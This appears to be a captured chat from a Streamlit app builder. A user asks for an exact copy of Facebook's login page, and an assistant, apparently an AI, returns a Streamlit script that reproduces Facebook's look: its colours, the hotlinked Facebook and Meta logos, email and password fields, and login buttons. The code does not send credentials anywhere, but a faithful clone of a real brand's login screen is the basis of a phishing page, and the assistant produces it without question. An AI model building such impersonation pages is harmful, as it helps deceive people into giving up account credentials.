Make this complete same login page in html+css+js all code in one and remember all things full page should be same color style design all and customizable screen according to Android laptop pc Logo: https://static.xx.fbcdn.net/rsrc.php/v4/yD/r/5D8s-GsHJlJ.png Meta:https://static.xx.fbcdn.net/rsrc.php/v4/yM/r/DDgwTv3JehF.png
To upload files, please first save the app
import streamlit as st
# Configure page
st.set_page_config(page_title="Facebook Login Clone", layout="centered")
# Custom CSS
st.markdown("""
<style>
/* Main container styles */
.stApp {
background-color: #f0f2f5;
}
/* Center content */
.main-container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
text-align: center;
background-color: white;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
/* Logo styles */
.facebook-logo {
width: 112px;
margin-bottom: 10px;
}
/* Input field styles */
.stTextInput input {
width: 100%;
padding: 14px 16px;
font-size: 17px;
border: 1px solid #dddfe2;
border-radius: 6px;
margin-bottom: 12px;
}
/* Button styles */
.stButton button {
width: 100%;
padding: 0 16px;
font-size: 20px;
line-height: 48px;
background-color: #1877f2;
color: white;
border: none;
border-radius: 6px;
font-weight: bold;
}
.stButton button:hover {
background-color: #166fe5;
}
/* Link styles */
.link-text {
color: #1877f2;
font-size: 14px;
cursor: pointer;
text-decoration: none;
margin: 16px 0;
}
.link-text:hover {
text-decoration: underline;
}
/* Create account button */
.create-account {
background-color: #42b72a !important;
margin-top: 16px;
}
.create-account:hover {
background-color: #36a420 !important;
}
/* Meta logo styles */
.meta-logo {
width: 112px;
margin-top: 20px;
}
/* Divider */
.divider {
border-bottom: 1px solid #dadde1;
margin: 20px 0;
}
</style>
""", unsafe_allow_html=True)
# Main container
st.markdown('<div class="main-container">', unsafe_allow_html=True)
# Facebook logo
st.image("https://static.xx.fbcdn.net/rsrc.php/v4/yD/r/5D8s-GsHJlJ.png", use_column_width=False)
# Input fields
email = st.text_input("", placeholder="Mobile number or email address")
password = st.text_input("", placeholder="Password", type="password")
# Login button
st.button("Log in")
# Forgot password link
st.markdown('<p class="link-text">Forgot password?</p>', unsafe_allow_html=True)
# Divider
st.markdown('<div class="divider"></div>', unsafe_allow_html=True)
# Create new account button
st.button("Create new account", key="create_account",
help="Click to create a new Facebook account")
# Meta logo at bottom
st.image("https://static.xx.fbcdn.net/rsrc.php/v4/yM/r/DDgwTv3JehF.png", use_column_width=False)
st.markdown('</div>', unsafe_allow_html=True)
# Add responsive design
st.markdown("""
<style>
@media (max-width: 768px) {
.main-container {
margin: 0 20px;
}
}
</style>
""", unsafe_allow_html=True)
Hi! I can help you with any questions about Streamlit and Python. What would you like to know?